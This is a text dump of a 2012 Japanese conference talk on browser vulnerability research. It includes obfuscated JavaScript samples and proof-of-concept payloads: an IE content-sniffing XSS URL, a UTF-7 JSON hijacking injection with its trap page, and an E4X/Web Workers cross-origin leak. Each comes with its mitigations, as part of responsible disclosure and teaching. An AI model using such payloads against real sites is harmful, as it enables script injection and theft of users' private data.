SlideShare a Scribd company logo
1 of 69
Download to read offline
Finding Vulnerabilities
       For Fun And Profit
         趣味と実益の脆弱性発見

                     Feb 16 2012
               Yosuke HASEGAWA
自己紹介

     はせがわようすけ
     ネットエージェント株式会社 研究開発部
     株式会社セキュアスカイ・テクノロジー 技術顧問
     Microsoft MVP for Consumer Security Oct 2005 -
     http://utf-8.jp/
     難読化JavaScript書いてます




Developers Summit 2012                    NetAgent http://www.netagent.co.jp/
難読化 JavaScript
Obfuscated JavaScript
記号JavaScript                       JS without alnum

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:+
+$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$_
_:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$}
;$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$
])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($.
_=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$
._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"¥"
"+$.$_$_+(![]+"")[$._$_]+$.$$$_+"¥¥"+$.__$+$.$$_+$._$_+$.__+"(¥¥
¥"¥¥"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$
._$+",¥¥"+$.$__+$.___+"¥¥"+$.__$+$.__$+$._$_+$.$_$_+"¥¥"+$.__$+$
.$$_+$.$$_+$.$_$_+"¥¥"+$.__$+$._$_+$._$$+$.$$__+"¥¥"+$.__$+$.$$_
+$._$_+"¥¥"+$.__$+$.$_$+$.__$+"¥¥"+$.__$+$.$$_+$.___+$.__+"¥¥¥"¥
¥"+$.$__+$.___+")"+"¥"")())();



                          jjencode - http://utf-8.jp/public/jjencode.html
顔文字JavaScript                                          JS with emoticons
゚ω゚ノ= /`m´)ノ ~┻━┻          //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)=
(o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -
(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] =
((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚)
['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_')
[゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+
((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚
ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_')
[゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='¥¥'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ
+'_')[c^_^o];(゚Д゚) [゚o゚]='¥"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) +
(゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o)
+(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+
(゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚
Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+
(c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚
Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)
[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');



                                    aaencode - http://utf-8.jp/public/aaencode.html
質問
Question
質問 : Web技術、好きですか?
Q. Do you love web technologies?
クロスサイトスクリプティング             強制ブラウズ
書式文字列攻撃                   リモートファイルインクルード
   SQLインジェクション      LDAPインジェクション
パストラバーサル                  バッファオーバーフロー
             CSRF       セッションハイジャック


  質問 : Web技術、好きですか?
 Q. Do you love web technologies?

 OSコマンドインジェクション
セッション固定攻撃            オープンリダイレクタ
                               DoS
      HTTPレスポンス分割    メモリリーク

 XPathインジェクション      HTTPヘッダインジェクション
Web技術、好きですか?

     危険だらけのWeb技術が「好き」な人:
     かなり打たれ強い
       or
     攻撃者




Developers Summit 2012   NetAgent http://www.netagent.co.jp/
今日のおはなし
Today's topic
今日のおはなし

       これまでに調べた脆弱性の紹介
             ブラウザの知られていないような機能を
              用いた攻撃
             Webの標準仕様を組み合わせて発生する
              脆弱性
       なぜ脆弱性を探すのか
             他の人にできないことをする
       10年後も世界で通じるエンジニアで
        あるために

Developers Summit 2012        NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性
 Vulnerabilities I found
これまでに調べた脆弱性

     Webブラウザ、Webアプリケーションを中
      心にいろいろ…
              CVE-2007-0995   XSS of Mozilla Firefox
              CVE-2007-1262   XSS of SquirrelMail
              CVE-2007-2227   XSS of Internet Explorer
              CVE-2008-0416   XSS of Mozilla Firefox
              CVE-2008-1468   XSS of Namazu
              CVE-2008-5808   XSS of Movable Type
              CVE-2010-1213   Cross-origin data disclosure of Mozilla Firefox
              CVE-2010-3348   Cross-origin data disclosure of Internet Explorer
              CVE-2010-3770   XSS of Mozilla Firefox
              CVE-2011-1339   XSS of Google Search Appliance
              CVE-2011-3384   XSS of Sage
              CVE-2011-3648   XSS of Mozilla Firefox
                  ...

Developers Summit 2012                                        NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性

     一般的なWebアプリケーションの検査
     Webアプリケーション側を調査
           XSS、SQLインジェクション、etc...
           エスケープ漏れ、アプリの仕様間違いなどを
            丹念に探す
           効率性、網羅性が必要




Developers Summit 2012       NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性

     Webブラウザ側の脆弱性
           ブラウザの知られていないような機能を用い
            た攻撃
           Webの標準仕様を組み合わせて発生する脆弱
            性
           新しい脆弱性を「創り出す」ことができる




Developers Summit 2012      NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性

     Webブラウザ側の脆弱性
     Webアプリケーション側のエスケープ漏
      れより影響範囲が大きい
           修正されれば大勢の人が救われる
     取り組んでいる人が少ない
           今すぐにでも世界トップになれる可能性も!
           仕事としては成り立ちにくい



Developers Summit 2012        NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性

     ブラウザの知られていないような機能を用
      いた攻撃
           Content-Type無視によるXSS (IE)
           UTF-7によるJSON Hijacking (IE)
     Webの標準仕様を組み合わせて発生する
      脆弱性
           E4X + Web Workers = データ漏えい (Firefox)




Developers Summit 2012                    NetAgent http://www.netagent.co.jp/
Content-Type無視によるXSS (IE)

     IEに昔からある悪癖
           Content-Type以外も含めファイルタイプを
            決定
     HTMLではないものがHTMLに昇格して
      XSSを引き起こす
           例えばtext/plain




Developers Summit 2012         NetAgent http://www.netagent.co.jp/
Content-Type無視によるXSS (IE)

     IEはContent-Type以外にも様々な要因
      からファイルタイプを決定する

     文書化されていない複雑なメカニズム




Developers Summit 2012   NetAgent http://www.netagent.co.jp/
Content-Type無視によるXSS (IE)

     ファイルタイプの決定因子
           "Content-Type" HTTPレスポンスヘッダ
           "X-Content-Type-Option" HTTPレスポ
            ンスヘッダ
           Windowsレジストリにおける関連付け
           IEの設定:"拡張子ではなく、内容によって
            ファイルを開く"
           URL自身
           コンテンツそのもの


Developers Summit 2012              NetAgent http://www.netagent.co.jp/
IEにおけるファイルタイプ決定のメカニズム
 Content-Typeがレジストリに登録されている? [ HKEY_CLASSES_ROOT¥MIME¥Database¥Content Type ]
                 Y                                                                        N
   ファイルタイプを仮決定                                IE8+ && "X-Content-Type-Options:nosniff"?
                                                                                      Y               N
                                 Y
外部プラグイン/アプリが必要?                      プラグインを起動またはダウンロード                       ダウンロード
                N
                                                 Y
IE8+ && "X-Content-Type-Options:nosniff"?              仮決定したファイルタイプを使用
                N
                                     有効
                                               コンテンツをsniffしファイルタイプを決定
「拡張子ではなく、内容によって
  ファイルを開く」設定値                        無効
                                                 仮決定したファイルタイプを使用

  URLの拡張子が "cgi" or "exe" or "dll" or "/" ? e.g. http://utf-8.jp/a.cgi?abcd, http://utf-8.jp/foo/
                       Y                                                      N
    QUERY_STRINGからファイルタイプを                                 URLの拡張子からファイルタイプを
               仮決定                                                仮決定

      外部プラグイン/アプリが必要?                                        外部プラグイン/アプリが必要?
           N                         Y                            N                           Y

 コンテンツをsniffし               プラグインを起動                   コンテンツをsniffし                プラグインを起動
ファイルタイプを決定                 またはダウンロード                  ファイルタイプを決定                  またはダウンロード
                                                                                          21
※これ以外にも例外的な挙動が多数あり                                                             Yosuke HASEGAWA http://utf-8.jp/
Content-Type無視によるXSS (IE)

     ファイルタイプ決定のメカニズムは、と
      にかく複雑すぎる!
           50分では話し終わらない!
           今回の図もずいぶん省略しています
           そもそも例外的な挙動が多い
           いつのまにか挙動が変化していることも多い




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
Content-Type無視によるXSS (IE)
     XSS実例




Developers Summit 2012   NetAgent http://www.netagent.co.jp/
Content-Type無視によるXSS (IE)
  https://www.microsoft.com/en-us/homepage/
   bimapping.js/a.html?v=<script>alert(1)</script>&k...
   HTTP/1.1 200 OK
   Content-Type: text/javascript; charset=utf-8
   Date: Wed, 22 Jun 2011 13:53:37 GMT
   Content-Length: 2092

   var <script>alert(1)</script>={"Webtrends":{"enabled":true,"sett
   ings":{"interactiontype":{"0":true,"1":true,"2":true,"3":true,"4":t
   rue,"5":true,"6":true,"7":true,"8":true,"9":true,"10":true,"11":tr
   ue,"12":true,"13"....
                               "text/javascript" はレジストリに未登録


Developers Summit 2012                                 NetAgent http://www.netagent.co.jp/
Content-Type無視によるXSS (IE)

     Microsoftでも正しく挙動を把握できてい
      ない
           ファイルのダウンロードダイアログで表示され
            るファイル名の命名規則
              http://support.microsoft.com/kb/436153/ja
     " X-Content-Type-Options:nosniff"を
      必ずつける(IE8+のみ)



Developers Summit 2012                       NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性

     ブラウザの知られていないような機能を用
      いた攻撃
           Content-Type無視によるXSS (IE)
           UTF-7によるJSON Hijacking (IE)
     Webの標準仕様を組み合わせて発生する
      脆弱性
           E4X + Web Workers = データ漏えい (Firefox)




Developers Summit 2012                    NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)
     ターゲット
           機密情報を含むJSON
           攻撃者がJSON内の一部をコントロールできる
           例えばWebメールの新着通知など
     JSON内の他のデータも盗み見できる


                                      JSON


                  {"from" : "a@example.com"}


Developers Summit 2012                         NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)

    [
        {
          "name" : "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-",
          "mail" : "hasegawa@utf-8.jp"
                                                 Injected by attacker
        },
        {
          "name" : "John Smith",
          "mail" : "john@example.com"
        }
    ]

            ターゲットとなるJSON : http://example.com/newmail.json



Developers Summit 2012                                     NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)

    [
        {
          "name" : "abc"}];var t=[{"":"",
          "mail" : "hasegawa@utf-8.jp"
        },
        {
          "name" : "John Smith",
          "mail" : "john@example.com"
        }
    ]

            ターゲットとなるJSON : http://example.com/newmail.json



Developers Summit 2012                        NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)
   攻撃者は罠ページを準備して誘導
    <script src="http://example.com/newmail.json" charset="utf-7">
    <script> alert( t[ 1 ].name + t[ 1 ].mail ); </script>

   ターゲットとなるJSON http://example.com/newmail.json
    [
        {
          "name" : "abc"}];var t=[{"":"",
                    "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-",
          "mail" : "hasegawa@utf-8.jp"
        },
        {
          "name" : "John Smith",
          "mail" : "john@example.com"
        }
    ]

Developers Summit 2012                                      NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)

       ユーザ




                            XHR.send(…)
  JSON.parse(txt)
                         JSON

   {
        "from" : "a@example.com"
   }                                Web mail

Developers Summit 2012                         NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)
                                    <script src=“json”>
                                                                 攻撃者
                                HTML
       ユーザ


                                          JSON



                           <script src=“json”>
                                                    From: "+MPv…ACI-"
                         JSON

   {
        "from" : "+MPv/…ACI-"
   }                                   Web mail

Developers Summit 2012                                NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)
   攻撃者の準備した罠ページ
    <script src="http://example.com/newmail.json" charset="utf-7">
                                              こっちが優先される
   攻撃者対象のJSON
    Content-Type: application/json; charset=utf-8

    [
        {
          "name" : "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-",
          "mail" : "hasegawa@utf-8.jp"
        },
        {
          "name" : "John Smith",
          "mail" : "john@example.com"
        }
    ]
Developers Summit 2012                                     NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)

     IE6、IE7はHTTPレスポンスヘッダより
      <script>要素のcharsetを優先
           IE8では修正されている
     2008年10月に報告したが修正されない




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
UTF-7によるJSON Hijacking (IE)
      Webアプリ側で対策
           リクエストヘッダの特定文字列を確認
                 GET http://example.jp/foo.json HTTP/1.1
                 Host: example.jp
                 Connection: keep-alive
                 X-Request-With: XMLHttpRequest
                 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:8.0)

           JSON内の「+」を「¥u002b」にエスケープ
                 { name : "abc¥u002bMPv/f....." };

           POSTのみ受け入れる
            GETでのJSONへのアクセスを拒否
           不正なJSONフォーマットで応答(Google方式)
            受信後にJSでゴミを除去

Developers Summit 2012                                              NetAgent http://www.netagent.co.jp/
これまでに調べた脆弱性

     ブラウザの知られていないような機能を用
      いた攻撃
           Content-Type無視によるXSS (IE)
           UTF-7によるJSON Hijacking (IE)
     Webの標準仕様を組み合わせて発生する
      脆弱性
           E4X + Web Workers = データ漏えい (Firefox)




Developers Summit 2012                    NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい
     E4Xってなに?
           ECMAScript for XML (ECMA-357)
           https://developer.mozilla.org/ja/E4X
           JS内に直接XMLを記述可能
           Firefox、ActionScriptでサポート
      var s = <mail>
        <subject>Test mail</subject>
        <from>Yosuke HASEGAWA</from>
        <addr>hasegawa@utf-8.jp</addr>
      </mail> ;

      alert( s.subject );

Developers Summit 2012                   NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい


     E4Xってなに?
           XML内にJSの記述もできる。
           XML内の {....} はJavaScriptとして動作
      var s = <mail>
        <subject>Test mail</subject>
        <from> { alert(1) } </from>
        <addr>hasegawa@utf-8.jp</addr>
      </mail> ;

      alert( s.subject );


Developers Summit 2012                   NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい


     E4XはJavaScript
     外部から読み込み可能
            var s = <mail>
              <subject>Test mail</subject>
            </mail> ;


            <script src="e4x.js"></script>
            <script>
              alert( s.subject );
            </script>

Developers Summit 2012                       NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい


     E4Xってなに?
           これはJavaScript? HTML?
                   <div>
                     { alert( "Hello, E4X World." ); }
                   </div>
                   <div>
                     Hello, HTML World.
                   </div>

           HTMLでもありJavaScriptでもある


Developers Summit 2012                                   NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい

     攻撃者がHTML内の2か所に文字列を挿入
      可能な場合、その間のメッセージが外部
      から取得可能
         (以下のコードは現在のFirefoxではそのままでは動作しません)

            <div>{ foo( <span>秘密のメッセージ部分</span> ) }
            </div>

            <script>
             function foo( s ){ alert( s ); }
            </script>
            <script src="target.html"></script>

Developers Summit 2012                        NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい
     FirefoxでのE4Xによるデータ漏えい対策
           XML宣言、DOCTYPE宣言のついた
            XML,HTMLはE4Xとして解釈不可
           script srcとして読み込まれたJSが単一の
            XMLオブジェクトのときはエラーとしてJSを
            実行しない
               <div>{ foo( <span>秘密のメッセージ</span> ) } </div>
               // JavaScriptとして動作しない

               var s = <div>{ foo( <span>秘密のメッセージ</span> ) }
               </div>; // JavaScriptとして動作する

           泥臭い…
Developers Summit 2012                             NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい
     Web Workersって何?
           JavaScript待望のマルチスレッド機構
           バックグランドで重い処理を実行
           DOMとは切り離されている
                                                                      メイン側
            var worker = new Worker( "worker.js" );
            worker.onmessage = function( event ) { ... };
            worker.postMessage( msg );

                                                                     worker.js
            onmessage = function( event ){
              /* 時間のかかる処理 */
              postMessage( msg ); // メイン側に通知
            }

Developers Summit 2012                                      NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい

     Web Workersって何?
           new Workers( src ) は同一オリジンのみ
              (プロトコル、ホスト、ポートが一致すること)
                                                                   メイン側
                var worker = new Worker( "worker.js" ); // OK
                var worker = new Worker( "http://utf-8.jp/w.js" ); // NG

           Worker内からは間接的に他オリジンのJSも
            利用可能
                                                                        worker.js
                importScripts( "http://utf-8.jp/w.js" ); // OK




Developers Summit 2012                                    NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい

     FirefoxでのE4Xによるデータ漏えい対策
           script srcとして読み込まれたJSが単一のXMLオブ
            ジェクトのときはエラーとしてJSを実行しない
                <div>{ foo( <span>秘密のメッセージ</span> ) } </div>
                // JavaScriptとして動作しない

                var s = <div>{ foo( <span>秘密のメッセージ</span> ) }
                </div>; // JavaScriptとして動作する

           …というのが、Web Workers のimportScripts で
            は効いていなかった
           E4XとWeb Workersを組み合わせると外部サイト
            のHTML内のデータを盗み見ることが可能だった

Developers Summit 2012                             NetAgent http://www.netagent.co.jp/
E4X + Web Workers = データ漏えい
     E4Xの仕様に完全準拠ではない
           単一XMLオブジェクトが読み込めない
           仕様通りの実装だと脆弱性を生む
     いったんは収まったがWeb Workersの
      実装に伴い再度オープン
           枯れていない新しい機能は狙い目
           MFSA-2010-42で修正済み
     ちなみに
           Mozilla Security Bug Bounty Program
            の対象なので賞金もらいました :-)


Developers Summit 2012                 NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか
Why I find Vulnerabilities ?
なぜ脆弱性を探すのか

     他の人にできないことをする
           自分がやらなければいつまでも脆弱なまま


     パズル的な楽しさ
     功名心




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     ハードウェアエンジニア(1997年~)
           電子回路の設計
           小規模なソフトウェアも
     産業用計測機器
           発電所などでも使用
           高い品質が求められる




Developers Summit 2012    NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     産業用計測機器の設計
           高い安定性、堅牢性が要求される
           どのような入力でも安定して稼働
           ソフトウェア、ハードウェアとも

           堅牢性、安定性を脅かすバグとの戦い
           セキュリティ関連技術との出会い(2004年頃)



Developers Summit 2012        NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     ソフトウェアのセキュリティ
           脆弱なソフトウェアと堅牢なソフトウェアの
            違い
           勉強会、メーリングリスト等への参加




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     セキュリティについて学べば学ぶほど
           あちこちで簡単に脆弱性がみつかる
           新しい攻撃方法を考えつく
           対策技術は未成熟と気付く




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     いくつか問題を見つける
           「脆弱性ではなく仕様です」の回答…
           影響が大きいので公にはできない
           自分だけが解決されないであろう問題を抱え
            てしまっている閉塞感




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     「脆弱性ではなく仕様です」
           PNGファイルがHTML扱いされXSS(IE)
           RLOを利用した拡張子の偽装




Developers Summit 2012         NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     「脆弱性ではなく仕様です」
           最近はこういう返事は聞かない
           「ありがとうございます」→何年も直らない
           聞かなくなった時期は、ブラウザ競争の勃発
            と一致

              ※個人による体感です




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     問題を1人で抱える閉塞感
     セキュリティ業界の友人からのアドバイス


     「その仕様を最も悪用できる方法を思いつく
      ことが、世界平和の貢献につながる」




Developers Summit 2012   NetAgent http://www.netagent.co.jp/
「その仕様を最も悪用できる方法を思いつ
 くことが、世界平和の貢献につながる」
なぜ脆弱性を探すのか

     「その仕様を最も悪用できる方法を思いつ
      くことが、世界平和の貢献につながる」

     自分なりの解釈
           悪用されたときの影響度が大きいのであれば
            仕様の改善を迫ることもできる
           むしろセキュリティを通じて「世界の平和に
            貢献」という大きな視野に感銘を受ける



Developers Summit 2012     NetAgent http://www.netagent.co.jp/
なぜ脆弱性を探すのか

     「世界平和のため」
           どうすればもっとセキュリティのために貢献
            できるか
           セキュリティ業界への転身につながる
           「セキュリティ製品を通じて社会に貢献」




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
10年後も世界で通じる
エンジニアであるために
10年後も世界で通じるエンジニアであるために


     Web = 標準化 + ブラウザ独自実装
           標準化された機能 = 10年後も通用する
            10年間成長しないつもりですか?
           ブラウザ独自の機能 = 10年後にはない?
            独自機能を追いかけ続ける技術は
            10年後も通用するはず!!

                                      CSS3
                                 { ES }5

Developers Summit 2012       NetAgent http://www.netagent.co.jp/
10年後も世界で通じるエンジニアであるために


     未開の地を探し続ける!
           誰も通っていない道を探せ!
           標準化された部分はおもしろみが少ない
           独自実装な部分は狙い目



                                    CSS3
                               { ES }5

Developers Summit 2012     NetAgent http://www.netagent.co.jp/
10年後も世界で通じるエンジニアであるために


     セキュリティな話をもっと発信して欲しい
           もっとみんなに発信してほしい!
           セキュリティ技術、日本発の話題が少ない
           発信されていない情報は、世の中に存在しない
            のと等しい




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
10年後も世界で通じるエンジニアであるために


     「でも、セキュリティ界怖いし」
           ちょっと間違ったことを言うと叩かれる?
           どうでもいい瑣末なことにこだわる?




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
10年後も世界で通じるエンジニアであるために


     「セキュリティ界」は怖い?
           何か言われたときは、真摯に耳を傾けよう
           だいたい、自分が間違ってることが多い

           自分自身のためにも、世界のためにも発信し
            てほしい!




Developers Summit 2012     NetAgent http://www.netagent.co.jp/
10年後も世界で通じるエンジニアであるために


     未来のセキュリティ業界を支える人材発
      掘のために、CTFコンテストやります!
         http://www.secco.jp/




Developers Summit 2012          NetAgent http://www.netagent.co.jp/
10年後も世界で通じるエンジニアであるために


     SECCON CTF
           10年後を支える人材を発掘したい
           Security Contest Capture The Flag
           九州地区予選 - 2012/02/18-19
           当面は学生を対象に、一部社会人参加もあり
           http://www.seccon.jp/




Developers Summit 2012               NetAgent http://www.netagent.co.jp/
質問

                 hasegawa@utf-8.jp
                 hasegawa@netagent.co.jp

                 @hasegawayosuke

                 http://utf-8.jp/




Developers Summit 2012                     NetAgent http://www.netagent.co.jp/

More Related Content

What's hot

徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012Hiroshi Tokumaru
 
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~Hiroshi Tokumaru
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクションzaki4649
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011Hiroshi Tokumaru
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達zaki4649
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Hiroshi Tokumaru
 
Keycloak拡張入門
Keycloak拡張入門Keycloak拡張入門
Keycloak拡張入門Hiroyuki Wada
 
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)JPCERT Coordination Center
 
Webアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいかWebアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいかHiroshi Tokumaru
 
文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?Hiroshi Tokumaru
 
セキュアなソフトウェアアーキテクチャー
セキュアなソフトウェアアーキテクチャーセキュアなソフトウェアアーキテクチャー
セキュアなソフトウェアアーキテクチャーYasuo Ohgaki
 
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策JPCERT Coordination Center
 
今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010Hiroshi Tokumaru
 
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016Hiroshi Tokumaru
 
インフラセキュリティブートキャンプ #seccamp
インフラセキュリティブートキャンプ #seccampインフラセキュリティブートキャンプ #seccamp
